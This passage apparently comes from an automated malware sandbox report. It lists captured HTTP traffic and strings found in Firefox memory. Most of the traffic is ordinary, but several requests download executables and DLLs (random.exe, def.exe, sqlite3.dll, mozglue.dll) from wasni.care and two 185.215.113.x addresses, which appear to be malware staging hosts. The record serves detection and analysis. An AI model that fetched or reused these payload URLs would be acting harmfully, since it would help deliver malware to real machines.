Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Fwkdsz.exe HTTP/1.1Host: wasni.care
Source: global traffic	HTTP traffic detected: GET /panel/uploads/Luvzkkz.mp4 HTTP/1.1Host: wasni.careConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.adsafeprotected.com//unit/toolkit.telemetry.untrustedModulesPing.frequency://pubads.g.doubleclick.net/gampad/xml_vmap2*://securepubads.g.doubleclick.net/gampad/ad*://ads.stickyadstv.com/auto-user-synctoolkit.telemetry.testing.disableFuzzingDelay://pubads.g.doubleclick.net/gampad/ad-blk*://.adsafeprotected.com//imp/://www.facebook.com/platform/impression.phptoolkit.telemetry.archive.enabled equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://connect.facebook.net//all.js@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/play.svg://static.chartbeat.com/js/chartbeat_video.js@mozilla.org/addons/addon-manager-startup;1FileUtils_openSafeFileOutputStream://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.jsFileUtils_openAtomicFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js@mozilla.org/network/safe-file-output-stream;1FileUtils_closeAtomicFileOutputStreamhttps://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.jswebcompat-reporter@mozilla.org.xpipictureinpicture%40mozilla.org:1.0.0://track.adform.net/serving/scripts/trackpoint/://pub.doubleverify.com/signals/pub.jsexecuteIDB/promise</transaction.oncomplete equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3213102159.00000253EBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E94A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E87EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3213102159.00000253EBB2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E94A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000003.2821731492.00000253ED08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3323867690.00000253EE131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3323867690.00000253EE187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_closeSafeFileOutputStream://cdn.branch.io/branch-latest.min.jsresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/network/atomic-file-output-stream;1://.imgur.com/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.jsresource://gre/modules/FileUtils.sys.mjs://auth.9c9media.ca/auth/main.js://c.amazon-adsystem.com/aax2/apstag.js://connect.facebook.net//sdk.js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://www.googletagservices.com/tag/js/gpt.js*://s0.2mdn.net/instream/html5/ima3.js://static.adsafeprotected.com/iasPET.1.js://pagead2.googlesyndication.com/tag/js/gpt.js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js*://s.webtrends.com/js/advancedLinkTracking.jsopenIDB/</request.onupgradeneeded equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", 